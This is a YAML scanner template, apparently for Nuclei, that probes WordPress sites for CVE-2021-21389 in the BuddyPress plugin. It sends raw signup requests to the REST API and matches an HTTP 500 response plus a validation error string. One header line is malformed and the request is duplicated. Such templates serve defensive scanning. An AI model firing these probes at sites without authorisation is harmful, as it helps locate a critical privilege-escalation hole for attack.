38 lines
1.3 KiB
YAML
38 lines
1.3 KiB
YAML
|
id: CVE-2021-21389
|
||
|
|
||
|
info:
|
||
|
name: REST API Privilege Escalation to RCE
|
||
|
author: lotusdll
|
||
|
severity: critical
|
||
|
description: The BuddyPress WordPress plugin was affected by an REST API Privilege Escalation to RCE
|
||
|
reference: |
|
||
|
- https://github.com/HoangKien1020/CVE-2021-21389
|
||
|
tags: cve,cve21,wordpress,wp-plugin,rce
|
||
|
|
||
|
requests:
|
||
|
- raw:
|
||
|
- |
|
||
|
POST /wp-json/buddypress/v1/signup HTTP/1.1
|
||
|
Host: {{Hostname}}
|
||
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
|
||
|
Content-Type: Content-Type: application/json; charset=UTF-8
|
||
|
|
||
|
{"user_login": "nuclei", "user_email": "n@test.com", "user_name": "empty", "password": "lotusdll"}
|
||
|
- |
|
||
|
POST /wp-json/buddypress/v1/signup HTTP/1.1
|
||
|
Host: {{Hostname}}
|
||
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
|
||
|
Content-Type: Content-Type: application/json; charset=UTF-8
|
||
|
|
||
|
{"user_login": "nuclei", "user_email": "n@test.com", "user_name": "empty", "password": "lotusdll"}
|
||
|
matchers-condition: and
|
||
|
matchers:
|
||
|
- type: status
|
||
|
status:
|
||
|
- 500
|
||
|
|
||
|
- type: word
|
||
|
words:
|
||
|
- "bp_rest_signup_validation_failed"
|
||
|
part: body
|